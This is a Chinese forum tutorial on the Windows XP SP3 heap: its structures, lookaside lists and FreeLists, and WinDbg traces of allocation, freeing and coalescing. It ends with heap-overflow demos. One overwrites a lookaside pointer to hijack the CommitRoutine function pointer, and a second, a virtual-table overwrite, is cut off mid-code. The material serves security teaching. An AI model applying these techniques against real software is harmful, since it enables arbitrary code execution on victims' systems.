XP SP3堆研究
本文原创作者：icq5f7a075d，本文属i春秋原创奖励计划，未经许可禁止转载！
https://bbs.ichunqiu.com/thread-33885-1-1.html本文如果出现错误，欢迎指出，感激不尽！
本文中的所有程序请在虚拟机中运行。
前言
堆溢出漏洞是一种常见的软件漏洞，但是堆的结构比较复杂，不同版本操作系统的堆结构存在较大差异，网络上关于堆的介绍也存在名词不统一的情况，这都极大的增加了新手学习堆溢出漏洞的难度。本文将详细剖析XP SP3系统的堆结构，让新手对堆的结构有初步了解。当然，本文只是堆的初步介绍，页堆、CRT堆等深层次的内容，本文并没有涉及。不同版本的操作系统堆结构存在较大差异，本文分析的XP SP3系统上的堆结构，请在XP SP3系统上进行本文的实验。
1. 堆与栈的区别既然谈到了堆，就不得不一起说说栈。堆和栈是两种数据结构，程序在执行时需要两种不同数据结构的内存（堆和栈）来协同配合。
栈空间由操作系统自动分配释放，存放函数的参数值、局部变量的值、函数返回地址等。进程在创建时，操作系统就会为其创建栈。栈在使用的时候不需要额外的申请操作，系统会根据函数中的变量声明自动在函数栈帧中给其预留空间。栈空间由系统维护，它的分配和回收都由操作系统来完成，最终达到栈平衡。
堆在程序运行时分配，由程序指定分配的大小。堆在使用时需要程序员用专用函数进行申请，如C语言中的 malloc等函数、C++中的 new 函数。堆内存申请有可能成功，也有可能失败，这与申请内存的大小、机器性能和当前运行环境有关。使用完毕后需要把堆指针传给堆释放函数回收这片内存，否则会造成内存泄露。每个进程通常都有很多个堆，程序可以通过自己的需要创建新的堆。每个进程都会有一个默认的进程堆，指向这个堆的指针被存放在进程环境块PEB中，而这个进程的所有堆，都以链表的形式被挂在PEB上。
下图是某个进程的内存空间，如图所示，0x12D000的内存空间为栈空间，内存中只有一个栈空间；0x140000的内存空间为进程堆的空间，内存中只有一个进程堆空间，这里大小为0x8000；0x240000、0x250000、0x380000、0x3A0000的内存空间为普通堆的空间，这些是程序根据需要自己创建的新的堆,不同堆的大小可能不同：
普通程序员在使用堆时，只需要申请、使用、释放就可以了。但是在内存中却需要进行一系列复杂的操作，如何在“杂乱”的内存中“辨别” 出哪些内存是正在被使用的，哪些内存是空闲的，并最终“寻找”到一片“恰当”的空闲内存区域，分配给程序使用？这些复杂的过程都是由堆管理器完成的。
在理解堆管理器如何完成上述复杂的操作前，我们必须先了解如下几个名词：堆、堆表、堆段、段表、堆块、块首。
2.1. 堆的基本结构（1）堆
在上图中，可以看到内存中有五段内存块被标记为堆：0x140000、0x240000、0x250000、0x380000、0x3A0000，它们大小并不相同。每一个这样的内存块区域就被称为一个堆，《0day》书中将其称为一个堆区。一个堆，最小为0x1000。
（2）堆块和块首
一个堆的内存按照不同大小组织成块，以堆块为单位进行标识，而不是传统的字节标识。程序申请和使用堆，实际上使用的都是这些堆块。一个堆块包括两个部分：块首和块身。块首是HEAP_ENTRY结构，它是一个堆块头部的8个字节，用来标识这个堆块自身的信息（块的大小、使用状态等）；块身是进跟在块首后面的部分，也是最终分配给用户使用的数据区。整个堆都被分割成了一个个的堆块，接下来我们提到的段表和堆表也是堆块。每个堆块都是8字节的倍数。
（3）堆段和段表
一个堆会被分成几个段，这些段又被分成一个个堆块。堆管理器在创建堆时会创建一个段，这个段是0号段，这个段目前就是整个堆区的大小；如果这个段是可增长的，也就是堆标志中含有HEAP_GROWABLE（2）标志，那么堆管理器会再分配一个段。堆表中Segments[64]数组记录着每一个堆段。每个堆都至少有一个段，即0号段，最多可以有64个段。段表则是记录段信息的结构体，是一个HEAP_SEGMENT结构，除了0号段，其他段的段表一般位于段的起始位置，0号段的起始位置记录着堆表，堆表接下来才是段表。
（4）堆表
堆表，是一个HEAP结构，位于整个堆的起始位置，用于索引堆中所有堆块和堆段的重要信息，包括堆段的索引、堆块的位置、堆块的大小、堆块的使用状态等。在 Windows 中，堆表只索引所有空闲的堆块，正在使用的的堆块被使用它的程序索引。
下图，显示堆的数据布局
如图所示，堆中的内存区被分割成一列不同大小的堆块，每个堆块的起始处一定是一个8byte的HEAP_ENTRY 结构，后面便是提供应用程序使用的区域，也称为用户区。堆表所占的空间是一个堆块，同时也是0号堆段的起始位置。
对于0号段，这个结构位于HEAP结构之后，对于其他段，这个结构就在段的起始处，堆表位于0号段
段中的所有已经提交的空间都属于一个堆块，即使是HEAP结构和HEAP_SEGMENT 结构所占的空间也是分别属于一个单独的堆块，这两个结构的起始处都是一个HEAP_ENTRY结构。
HEAP_ENTRY前两个字节以分配粒度表示堆块的大小，分配粒度通常是8，这意味着每个堆块的最大值是0x10000*8=0x80000=512KB。因为每个堆块知识有8字节的管理信息，因此应用程序可以使用的最大堆块便是0x80000-8=0x7FFF8。如果程序想申请大于512KB的堆块时怎么办？
当一个应用程序要分配大于512KB的堆块时，如果堆标志中含有HEAP_GROWABLE（2），那么堆管理器便会直接调用ZwAllocateVirtualMemory()来满足这次分配，并把分得的地址记录在HEAP结构的VirualAllocdBlocks所指向的链表中,这意味着，堆管理器批发过来的大内存块，有两种形式，一种形式是段，另一种形式是直接的虚拟内存分配，将后一种形式称为大虚拟内存块。因为堆管理器是以链表方式来管理大虚拟内存块的，因此数量是没有限制的。每个大虚拟内存块的起始处是一个HEAP_VIRTuAL_ENTRY结构(32字节)。
2.2. 堆管理器堆表索引堆中所有空闲的堆块，那么堆表是如何索引的？堆块又是如何组织的？这就不得不说堆管理器（又叫堆分配器）。堆管理器主要分为前端堆管理器和后端堆管理器，有些文章里也叫前端堆管理器和核心堆管理器。前端堆管理器是一个高性能的子系统，而核心堆层管理器则是一个强大的通用堆的实现，这两个组件在结构上是分开的。
2.2.1. 前端管理器在处理内存分配和释放的时候，前端堆管理器是优先做处理的。前端堆管理器有三种模式：none、LAL(Look-aside Lists，预读列表\旁氏列表\快表)和LFH(Low-Fragmentation Heap，低碎片堆 )。none模式实际上就是不使用前端堆管理器意思，当一个堆不可扩展时，前端堆管理器为none模式。当堆为可扩展堆时，前端堆管理器开启，XP SP3下默认使用LAL，Windows Vista系统默认使用LFH。进程堆默认开启前端分配器。
LAL可以处理小于1024字节的分配请求。它用一系列的单链表的数据结构去存放大小在0到1024之间的空块。LFH可以处理大小在0-16k的请求。
（1）LAL
Look-aside Lists，在《软件调试》一书中被称为旁视列表，在《0day》中被称为快表。
LAL是一张表，包含128个项（是一个有128个元素的数组），每一项对应一个单项链表，每个单向链表中都包含一组固定大小的空闲堆块，这个固定大小的值等于数组下标*8。因为块首就要占有8字节，所以索引为0的项和索引为1的项永远不会被使用。如果应用程序请求24字节的空间，前端分配器将查找大小为32字节的空闲堆块。
HEAP结构中 FrontEndHeap字段记录这前端管理器信息，当启动LAL时，这个值一般指向堆基址偏移+0x688的地方，这里就是LAL。
在XP系统中分析LAL，HEAP结构中 FrontEndHeap的指针一般指向堆基址偏移+0x688的地方，在这里可以找到这个LAL。LAL是一个数组，每个元素对应一个单项链表索引。每个元素的数据结构大小为0x30，包括了性能相关的变量，包括当前长度，最大长度，以及更重要的一个指向与索引对应的单链表堆块的指针。如果当前没有空闲块，则该指针为NULL。同样，在单链表末尾是指向的是NULL。
LAL也被称为“快表”，是因为这类单向链表中从来不会发生堆块合并（其中的空闲块标记会被标为BUSY，阻止后端堆管理器对它进行分配或合并的操作）。 LAL总是被初始化为空，而且每条链表最多只有 4 个结点，故很快就会被填满。
当分配内存的时候, 列表头部的结点被弹出。 当一个块被释放, 把它从单链表的头部压入, 并且把指针更新。
如果用户的请求是小于(1024-8)字节，那么它便可以用 LAL 前端来分配。下图显示了 LAL的结构，如图前端有一个大小为 1016 的列表，它对应着的***是 127，用户可以申请 1008 字节。
（2）LFH
Low-Fragmentation Heap，低碎片堆。堆的内存空间被反复分配和释放，堆上可用空间可能被分割得支离破碎，当试图从这个堆上分配空间时，即使可用空间加起来的总额大于请求的空间，但是因为没有一块连续的空间可用满足要求，那么分配请求仍会失败。堆碎片化和磁盘碎片化的形成机理是一样的，但多个磁盘碎片相加仍可以满足磁盘分配请求，但是堆碎片是无法通过累加来满足内存分配要求，因为堆函数返回的必须是地址联系的一段空间。于是便引入了LFH来降低碎片。
LFH将堆上的可用空间划分成128个桶位(Bucket)，编号为1~128,每个桶位的空间大小依次递增，1号桶为8个字节，128号桶为16384字节(16KB）。当需要从LFH上分配空间时，堆管理器会根据堆函数参数中所请求的字节将满足要求的最小可用桶分配出去。例如，如果程序请求分配7个字节，而且1号桶空闲，那么便将1号桶分配给它（分配8字节），如果1号桶已经分配出去了(busy),那么便尝试分配2号桶。
LFH不同编号区域的桶使用不同的粒度，桶的容量越大，粒度也越大：
LFH在下面三种情况下不会开启，１，固定大小的堆，２，Heap_no_serialize,３，debug 状态。XP SP3默认不使用LAF，只有在应用程序调用了HeapSetInformation以后LFH才被打开。从Windows Vista开始，LFH默认启用。
[C++] 纯文本查看 复制代码
|
1
2
3
4
5
6
|
ULONG HeapFragValue=2；#HEAP_LFH
BOOL bSuccess=HeapSetInformation(
GetProcessHeap(),HeapCompatibilityInformation,&HeapFragValue，sizeof(HeapFragValue));
|
调用HeapQueryInformation()可以查询一个堆是否启用LFH支持。
2.2.2. 后端堆管理器（1）FreeLists
后端管理器组织堆块的方式是使用FreeLists，又被称为空闲列表或空表，空闲列表的堆块块首中包含一对重要的指针，这对指针用于将空闲堆块组织成双向链表。
和Lookaside类似，空表也有 128 项，在堆区一开始的堆表区中有一个 128 项的指针数组，被称做空表索引（Freelist array），也被称作空表位图(Freelist Bitmap)。每一项对应一个双项链表，除第一项，每个双向向链表中都包含一组固定大小的空闲堆块，这个固定大小的值等于数组下标*8。空表索引的第一项（FreeList[0]）所标识的空表相对比较特殊。这条双向链表链入了所有大于等于 1024 字节的堆块（小于 512KB）。这些堆块按照各自的大小在零号空表中升序地依次排列下去。
空表索引里的每一项包括两个指针，用于标识一条空表。 如图，空表索引的第二项（FreeList[1]）标识了堆中所有大小为 8 字节的空闲堆块，之后每个索引项指示的空闲堆块递增 8 字节，例如，FreeList[2]标识大小为16字节的空闲堆块，FreeList[3]标识大小为 24 字节的空闲堆块，FreeList[127]标识大小为1016 字节的空闲堆块。因为堆块块首（HEAP_ENTR）就占据8字节，所以FreeList[1]链表中的堆块实际上不可用。
对于一个给定的小于1016的分配请求，前端堆管理器首先会处理其请求。假设LAL或LFH不存在或者不处理这个请求, 系统将会直接在FreeList[n]的列表中找给定大小的列表。注意在这种情况下, 空表索引是没有被使用到的。如果FreeList[n] 中也找不到合适的块, 那么系统将会使用空表索引来处理。 它通过搜索整个空表索引，然后找到一个置位，通过这个置位, 可以在这个列表中找到下一个最大的空闲块。如果系统跑完这个索引还没有找到合适的块，它将试着从FreeList[0]中找到一块出来。
举个例子, 如果一个用户在堆中请求32字节的空间, 在LAL[5]中没有相应的块, 并且FreeList[5]也是空的, 那么, 空表索引就被用作在预处理列表中来查找大于40字节的块(从FreeList[6]位图搜索)。
（2）堆缓存 Heap Cache
正如我们讨论的，所有等于或大于1024的空闲块，都被存放在FreeList[0]中。这是一个从小到大排序的双向链表。因此，如果FreeList[0]中有越来越多的块，当每次搜索这个列表的时候，堆管理器将需要遍历多外节点。
堆缓存可以减少对FreeList[0]多次访问的开销。它通过在FreeList[0]的块中创建一个额外的索引来实现。值得注意的是，堆管理器并没有真正移动任何空的块到堆缓存。这些空的块依旧保存在FreeList[0]，但堆缓存保存着FreeList[0]内的一些节点的指针，把它们当作快捷方式来加快遍历。 只有在FreeList[0]中至少同时存在32个块或者共有256个块必须已经被分配的时候堆缓存才会被**。
堆缓存是一个简单的数组，数组中的每个元素大小都是int ptr_t字节，并且包含指向NULL指针或指向FreeList[0]中的块的指针。默认的，这个数组包含896个元素，指向的块在1024到8192之间。这是一个可配置的大小，我们将称它为最大缓存索引(maximum cache index)
每个元素包含一个单独的指向FreeList[0]中第一个块的指针，它的大小由这个元素决定。如果FreeList[0]中没有大小与它匹配的元素，这个指针将指向NULL。 堆缓存中最后一个元素是唯一的：它不是指向特殊大小为8192的块，而是代表所有大于或等于最大缓存索引的块。所以，它会指向FreeList[0]中第一个大小大于最大缓存索引的块。 堆缓存中大部分的元素是空的，所以有一个额外的索引用来加快搜索。这个索引的工作原理跟加速空闲列表的索引是一样的。
（3）虚拟分配表
每个堆都有一个虚拟分配的阀值VirtualMemoryThreshold。这个值默认是0xfe00, 与大小508k或更高的内存块相对应。已分配的块保存在堆基址的一个双向链表中。当需要释放它们的时候，由后端管理器直接将它们释放给内核 (VirtualAllocdBlocks在偏移 +0x50 和 +0x54处)。
2.2.3. 分配与释放堆块在分配和释放时，根据操作内存大小的不同，Windows 采取的策略也会有所不同。在开启LAL的情况下，可以把内存块按照大小分为三类：
小块：SIZE<1KB
大块：1KB≤SIZE
巨块：SIZE≥512KB
分配 |
释放 |
|
小块 |
首先使用LAL分配；
若LAL分配失败，进行普通FreeLists分配；
若普通FreeLists分配失败，使用堆缓存（heap cache）分配；
若堆缓存分配失败，尝试零号空表分配（FreeLists[0]）；
若零号空表分配失败，进行内存紧缩后再尝试分配；
若仍无法分配，返回 NULL
|
优先链入LAL；
如果LAL满，则将其链入相应的FreeLists
|
大块 |
首先使用堆缓存进行分配；
若堆缓存分配失败，使用FreeLists[0]中的大块进行分配
|
优先将其放入堆缓存；
若堆缓存满，将链入 freelists[0]
|
巨块 |
一般说来，巨块申请非常罕见，要用到虚分配方法（实际上并不是从堆区分配的）； |
直接释放，没有堆表操作 |
在分配过程中堆管理器首先查看前端分配器是否存在满足条件的堆块。如果存在将返回给调用者。否则堆管理器继续查看后端分配器，如果找到刚好合适的堆块，将此堆块标记为占用状态从空闲链表移除并返还给调用者，如果没有找到，堆管理器将会将更大的堆块分割为两个更小的堆块。将其中一块标记为占用状态并从空闲链表移除。另一块则添加到新的空闲链表中。最初的大堆块将从空闲链表中移除。
分配过程中首先检查前端分配器能否处理该空闲块。如果前端分配器没有处理，则交由后端分配器。堆管理器判断该空闲块的左右是否存在空闲堆块，如存在会将这些空闲堆块合并成更大的堆块，合并步骤如下：
a：将相邻的空闲块从空闲链表移除。
b：将新的大堆快添加到空闲列表。
c：将新的大堆快设置为空闲。
3：如果不能进行合并操作，该空闲块将被移入空闲列表。
虽然某些堆块没有被应用程序使用，但是在后端分配器看来这些堆块仍然是占用状态。这是因为所有在前端分配器中的堆块，在后端分配器的眼里均为占用状态。
3. 堆的数据结构3.1. HEAP结构堆表结构640字节，+0x58记录段表索引，+0x178记录空闲链表索引，+0x580记录前端管理器列表指针：
段表结构40字节长，堆结构后便是第一个用户的堆块，FirstEntry字段用来直接指向这个堆块。HEAP_ENTRY结构来描述每个堆块。
3.3. HEAP_ENTRY结构
块首结构8字节：
调用HeapAlloc函数将返回HEAP_ENTRY之后的地址。此地址减去8Byte便可以得到_HEAP_ENTRY结构。
Flags字段的值：
调试堆的时候不能直接使用调试器加载实验程序，而要利用附加程序的方式进行调试，这是因为调试态堆管理策略和常态堆管理策略有很大差异，集中体现在：
（1）调试堆不使用前端管理器；
（2）所有堆块都被加上了多余的 16 字节尾部用来防止溢出（防止程序溢出而不是堆溢出攻击），这包括 8 个字节的 0xAB 和 8 个字节的 0x00；
（3）块首的标志位不同。
为了避免程序检测出调试器而使用调试堆管理策略，我们可以在创建堆之后加入一个人工断点：_asm int 3，然后让程序单独执行。当程序把堆初始化完后，断点会中断程序，这时再用调试器 attach 进程，就能看到真实的堆了。
我们需要将调试器设置为及时调试器，程序遇到int3中断时会自动附加调试器。选用Windbg调试器，Windbg调试器的符号表可以很清晰的展现出堆的结构。
Windgb设置为JIT调试器的方式很简单，只需要在命令行中执行“windbg.exe -I”命令：
设置成功后，注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug下存在Debugger项，数值为windbg.exe信息
调试代码：
[C++] 纯文本查看 复制代码
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <windows.h>int main()
{HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x500,0x10000);__asm int 3;
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);//free block and prevent coalesesHeapFree(hp,0,h1); //free to freelist[2]
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]
HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to
//freelist[8]return 0;
} |
调试环境：XP SP3，VC6.0，Release版本
4.1.1. 使用Windbg识别堆表运行程序，程序执行到INT3中断，自动打开Windbg进行附加，Windbg启动后显示如下信息：
程序因为0x80000003异常中断，目前执行到0x40101d的位置，寄存器eax=0x3a0000。
使用ub命令回溯汇编代码，结合源码得知，int3指令前执行的是HeapCreate()函数，此时eax的值就是HeapCreate()创建的堆基址。
我们也可以使用PEB遍历堆，验证0x3a0000内存区是不是堆区。
① !peb 命令获取peb位置
②解析peb，在peb+0x18 ProcessHeap字段记录着进程堆的位置0x140000，+0x088 NumberOfHeaps字段用来介绍堆的总数5，+090 ProcessHeaps字段0x7c99cfc0是一个数组，用来记录每个堆的句柄。
③根据ProcessHeaps字段，查看有哪些堆，可以看到一共有5个堆，和前文OD中情况一致：
还有一种更简单的方法，直接打印出所有堆,使用扩展命令：！heap -h打印出当前程序的所有堆，关于！heap命令的使用，可以使用！heap -?进行查看。
我们使用HeapCreate (0,0x500,0x10000)创建了一个大小为0x500，但是系统却为我们分配了0x1000的内存空间，这是因为堆段的大小最小为0x1000，
图中+0x584的地方指向前端管理器，但是这里这个指针为 NULL，说明没有启用前端管理器。这是因为只有堆是可扩展的时候前端管理器才会启用，要想启用前端管理器，在创建堆的时候就不能使用 HeapCreate (0,0x500,0x10000)来创建堆了，而要使用 HeapCreate（0,0,0）创建一个可扩展的堆。
当一个堆刚刚被初始化时，它的堆块状况是非常简单的。
（1）HEAP结构+0178的位置为FreeLists索引区，总共128对指针用来索引128条空闲双链表。目前除了Freelist[0]之外，所有索引指向自身，也就是说这些空闲链表都为空。
（2）Freelist[0]位于堆偏移 0x0688 处（启用前端堆管理器后这个位置将是旁氏列表/低碎片堆），这里算上堆基址就是 0x003a0688。Freelist[0]前向指针和后向指针都指向0x003a0688，说明Freelist[0]指向的是目前堆中的唯一一个块“尾块”。
在观察0x3a0688这个堆块之前，首先我们来看一下一个正在使用的堆块的结构，图中的Block head块首结构实际上就是我们前文提到的HEAP_ENTRY:
空闲态堆块和占用态堆块的块首结构基本一致，只是将块首后数据区的前 8 个字节用于存放空表指针了。这 8 个字节在变回占用态时将重新分回块身用于存放数据。
现在我们来看看0x3a0688 这个尾块的状态：
实际上这个堆块开始于 0x3a0680，一般引用堆块的指针都会跃过8字节的块首，直接指向数据区。
Windbg显示的数据是小端模式，尾块目前的大小为 0x0130，计算单位是 8 个字节，也就是 0x980 字节。尾块的前向指针和后向指针都指向0x3a0178，这与我们前面的分析一致。
4.1.3. 堆的分配现在我们继续调试，在Windbg中使用p命令单步执行，执行6此堆申请的操作。
第一次申请3字节的内存，系统将0x3a0680~0x3a0690的空间分配出去，FreeList[0]指向变为0x3a0698（尾块3a0690）。虽然申请了3个字节，但实际分配了0x16字节的内存空间，解析尾块的块首结构，前一个堆块的确是了0x16个字节。0x3a0680的标志位也被修改为了0x01，busy状态。
接下来继续执行5次内存申请的操作，分别申请5、6、8、19、24字节的内存，共041字节，追踪内存分配的情况：
由此总结出下表：
堆句柄 |
请求字节 |
实际分配字节 |
基址 |
H1 |
3 |
16 |
0x30680 |
H2 |
5 |
16 |
0x30690 |
H3 |
6 |
16 |
0x306a0 |
H4 |
8 |
16 |
0x306b0 |
H5 |
19 |
32 |
0x306c0 |
H6 |
24 |
32 |
0x306e0 |
虽然申请的内存总数是0x41字节，但实际分配的情况存在“找零钱”现象，一共分配了0x80字节，使得尾块的大小由 0x130 被削减为 0x120。堆块的大小实际包括了块首在内，即如果请求 32 字节，实际会分配的堆块为 40 字节：8 字节块首＋32 字节块身。堆块的单位是 8 字节，不足 8 字节的部分按 8 字节分配。但是堆的指针却直接指向数据区，而不是块首，中间差了8字节，表中的基址一列都经过了减8处理，后文如无说明，默认做减8处理。
初始状态下，快表和空表都为空，不存在精确分配。请求将使用“次优块”进行分配。 这个“次优块”就是位于偏移 0x0688 处的尾块。 由于次优分配的发生，分配函数会陆续从尾块中切走一些小块，并修改尾块块首中的 size 信息，最后把 freelist[0]指向新的尾块位置。
4.1.4. 堆块的释放前文的操作，我们创建了6个堆块，他们在内存中是连续存放的，接下来我们释放堆，直观了解堆块释放的过程。
首先执行HeapFree(hp,0,h1)，释放第一个堆块，执行之后的效果如下图所示，h1(堆块0x3a0680)被释放后，HEAP_ENTRY的标志位由忙碌态修改为0x00，前向指针和后向指针均指向0x3a0188，0x3a0188实际上就是FreeList[2]，查看FreeList[2]，其前向指针和后向指针的确都指向0x3a0688。
我们继续单步，释放h3和h5,这三次释放的堆块在内存中不连续，所以不会发生堆块合并的现象，此时查看内存，h1、h3、h5均是空闲块，h1、h3都被链入了FreeList[2],其后向链表关系：FreeList[2]→h1→h3→FreeList[2]，h5被链入了FreeList[4]:
可以看到空表在链入新的堆块时，将其链入链表尾部。
4.1.5. 堆块的合并继续单步，释放h4。h3、h4、h5这3个空闲块彼此相邻，这时会发送堆块合并操作。
堆块合并是主动的，我们可以看到h3、h4 的大小都是 16 字节，h5 是32 字节，合并后的新块为64字节(8个堆单位)，将被链入 freelist[8]。但是h4在释放时，数据没有反生变化，而是h3块首的堆块大小标志修改为8，h6块首前一个堆块大小标志修改为8，同时h3前/后向指向 freelist[8]。也就是说，在发生堆合并时，h4并不会被链入空表，事实上h4并没有执行释放的操作，h4直接被并入了空闲堆块h3中，可以说h4在一无所知的情况下直接被抹杀了。
空表索引区的 freelist[2]，原来标识的空表中有两个空闲块 h1和 h3，而现在只剩下h1，因为h3在合并时被摘下了； freelist[4]原来有一个空闲块h5，现在被改为指向自身，因为h5在合并时被摘下了。
前文我们介绍了Freelist中堆块的申请与释放过程，现在我们再来看看LAL中堆块的申请与释放过程。使用下列代码进行分析：
[C++] 纯文本查看 复制代码
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
|
#include <stdio.h>#include <windows.h>void main()
{HLOCAL h1,h2,h3,h4,h5;
HANDLE hp;
hp = HeapCreate(0,0,0);__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);HeapFree(hp,0,h1);HeapFree(hp,0,h2);HeapFree(hp,0,h3);HeapFree(hp,0,h4);h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);HeapFree(hp,0,h5);} |
运行程序并成功附加后，我们首先识别堆表，程序附加后eax=0x3a0000，我们创建的堆就在这里，堆区大小是0x3000，而使用HeapCreate(0,0x500,0x10000)创建的不可扩展堆大小只有0x1000。
解析0x3a0000的堆表结构，现在FrontEndHeap的值不再是空，而是指向了0x3a0688，在前文中FrontEndHeap的值为空，0x3a0688是“尾块”，现在这个位置被LAL列表霸占了；FreeLists现在依然指向“尾块”，但尾块是0x3a1e90
接下来，我们看一下0x3a0688处的LAL表到底长啥样，可以看到堆刚初始化后快表是空的,每个元素大小是0x30：
（这个图和《0day》书中的不一样，数组的划分有区别）
首先我们执行4次内存申请的操作，这个时候是从FreeLists中分配内存：
再一次验证了我们前文的分析，我们可以总结出下表：
堆句柄 |
请求字节 |
实际分配字节 |
基址 |
H1 |
8 |
16 |
0x31e88 |
H2 |
8 |
16 |
0x31e98 |
H3 |
16 |
24 |
0x31ea8 |
H4 |
24 |
32 |
0x31ec0 |
继续单步，释放h1，查看内存，FreeLists列表没有发生变化，说明h1释放后没有并入空闲链表，LAL列表发生变化，h1并入了LAL，准确的说是链入了Lookaside[2]
此时查看h1，发现其状态位仍然是0x01(Busy)，指针为NULL，说明他是数组里唯一的元素。h1在释放的过程中，堆块h1里的数据没有发生任何变化，内存里唯一变化的Lookaside[2]里多了指向h1的指针。
继续单步，释放h2和h3，LAL内堆块都是忙碌态，我们不需要担心堆块合并的问题，这个时候查看内存的,h2被链入了Lookaside[2],现在链表关系Lookaside[2]→h2→h1，这里的链入方式和FreeLists的链入方式不同：
继续单步，释放h3和h4，可以看到他们分别被链入了Lookaside[3]和Lookaside[4]：
本程序开始的地方已经进行了堆块的分配，但那里进行的是FreeList的堆块分配，现在才是快表的堆块分配。
继续单步，执行HeapAlloc(hp,HEAP_ZERO_MEMORY,16)申请一个堆块，分配到的的堆块为0x3a1eb0-0x8
分配的h5实际上，就是刚刚被链入Lookaside的h4，h4从Lookaside卸下变为h5。
再次释放h5，h5又被链入Lookaside：
[C++] 纯文本查看 复制代码
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
#include <stdio.h>#include <windows.h>void main()
{HLOCAL h1,h2,h3,h4,h5,h6,h7;
HANDLE hp;
hp = HeapCreate(0,0,0);__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);HeapFree(hp,0,h1);HeapFree(hp,0,h3);HeapFree(hp,0,h5);HeapFree(hp,0,h2);HeapFree(hp,0,h4);HeapFree(hp,0,h6);h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);HeapFree(hp,0,h7);} |
程序初始状态，LooKaside为空，程序从FreeLists中申请堆块，在Windbg中单步调试，申请6次堆块，查看内存，内存分配成功，此时Lookaside为空。
继续单步，这次释放这6个堆块，释放顺序h1、h3、h5、h2、h4、h6，查看内存，可以看到Lookaside[2]→h2→h5→h3→h1，FreeLists[2]→h4→FreeLists[2]，FreeLists[0]→h6→FreeLists[0]，h6发生了堆块合并：
可以看到，LAL链入新的堆块时，链入列表的头部，而在分配堆块，也是优先将列表头部的结点弹出。而FreeList则是优先链入/弹出链表尾部的结点。
本章最后说一点，本章没有介绍LFH，因为在XP SP3上使用LFH的情况很少，从Windows Vista开始，LFH才会默认启用。在之后的Win 7堆研究文章里，我们再详细研究LFH。
5. 堆的安全研究5.1. 堆Cookie
_HEAP_ENTRY结构中的SmallTagIndex 字段记录堆的Cookie信息，大小只有1字节。当一个块通过RtlHeapFree()被释放的时候，这个值被检查，但当这个块被分配的时候并不会被检查。堆溢出发生时，cookie数据会被破坏。但是，XP SP3中只是引入了cookie了，并没有对cookie的值进行检测，在XP之后的系统中这个机制才开始使用。因此在XP SP3中我们仍然可以进行堆溢出利用。
5.2. 堆溢出利用XP上的堆漏洞利用主要堆溢出利用，但是随着之后版本的操作系统开始应用堆Cookie机制，堆溢出利用越来越来少，越来越多的堆利用使用堆风水和堆构造的技术。本章只是简单分析两个堆溢出利用，和大家分享一下堆溢出的知识，在之后的文章中，笔者会再分析其他类型的漏漏洞利用。
来看两个攻击实例：
5.2.1. 覆盖CommitRoutine调试代码：
[C++] 纯文本查看 复制代码
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <stdio.h>#include <windows.h>int main(){
HLOCAL h1,h2,h3,h4;
HANDLE hp;
//alloc a heaphp = HeapCreate(0,0x1000,0);h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);HeapFree(hp,0,h1);HeapFree(hp,0,h2);memcpy(h1,"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD\x78\x05\x3a\x00",36);//0x3a0578,0x3a0000是新建堆的基址，此时覆盖
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);//当h2从lookaside表中移掉
//这时候，再分配时，将会从0x3a0578的地址开始分配h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);//然后，我们覆盖CommitRoutine的值memcpy((char *)h4+4,"AAAA",4);
//之后如果我们继续申请大内存，会触发CommitRoutine这个函数指针，而由于这个指针我们可控，所以可以导致执行任意代码。HeapDestroy(hp);return 0;
} |
开始调试：
初始状态
释放h1、h2之后，Lookaside[4]→h2→h1；
执行memcpy(h1,"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD\x78\x05\x3a\x00",36);
h2被覆盖为0x3a0578(0x3a0578+4= CommitRoutine)，Lookaside[4]→h2→0x3a0578→....这个时候实际上块首也被破坏了
然后申请堆块h3,h4，将h2分配给h3，将0x3a0578分配给h4，这个时候就可以实现0x3a0578地址处的任意读写了。如图，执行memcpy((char *)h4+4,"AAAA",4)修改CommitRoutine的值
之后如果我们继续申请大内存，会触发CommitRoutine这个函数指针，而由于这个指针我们可控，所以可以导致执行任意代码。
5.2.2. 覆盖虚函数表调试代码：
[C++] 纯文本查看 复制代码
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#include <stdio.h>#include <windows.h>class test {//定义一个类结构
public:
test(){memcpy(m_test,"1111111111222222",16);
};virtual void testfunc(){//等下我们要覆盖的虚函数
printf("aaaa\n");
}char m_test[16];
};int main(){
HLOCAL hp;
HLOCAL h1,h2,h3;
